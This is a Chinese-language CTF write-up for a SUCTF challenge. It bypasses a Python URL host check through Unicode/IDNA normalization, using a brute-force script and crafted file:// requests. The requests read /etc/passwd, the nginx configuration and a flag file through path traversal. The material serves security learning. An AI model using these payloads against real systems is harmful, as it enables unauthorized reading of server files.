打开靶机,经典给源码
CTRL+U看起来舒服点
3个if都是一样的,但是host在变,我们需要进入第三个if
这题经大佬指点得知使用的blackhat议题里的一个点,这是blackhat PPT链接:https://i.blackhat.com/USA-19/Thursday/us-19-Birch-HostSplit-Exploitable-Antipatterns-In-Unicode-Normalization.pdf
大致意思是当URL 中出现一些特殊字符的时候,输出的结果可能不在预期
偷的脚本查看可用字符
from urllib.parse import urlunsplit, urlsplit
from urllib import parse
def get_unicode():
for x in range(65536):
uni = chr(x)
url = "http://suctf.c{}".format(uni)
try:
if getUrl(url):
print("str: " + uni + ' unicode: \\u' + str(hex(x))[2:])
except:
pass
def getUrl(url):
url = url
host = parse.urlparse(url).hostname
if host == 'suctf.cc':
return False
parts = list(urlsplit(url))
host = parts[1]
if host == 'suctf.cc':
return False
newhost = []
for h in host.split('.'):
newhost.append(h.encode('idna').decode('utf-8'))
parts[1] = '.'.join(newhost)
finalUrl = urlunsplit(parts).split(' ')[0]
host = parse.urlparse(finalUrl).hostname
if host == 'suctf.cc':
return True
else:
return False
if __name__ == '__main__':
get_unicode()
结果如下
我们只需要用结果中任意一个去读取文件就行,如
/getUrl?url=file://suctf.c%E2%84%82/../../../../../etc/passwd
题目提示我们是nginx,所以我们去读取nginx的配置文件
这里读的路径是 /usr/local/nginx/conf/nginx.conf
/getUrl?url=file://suctf.c%E2%84%82/../../../../..//usr/local/nginx/conf/nginx.conf
结果如下
于是读取文件
/getUrl?url=file://suctf.c%E2%84%82/../../../../..//usr/fffffflag
得到flag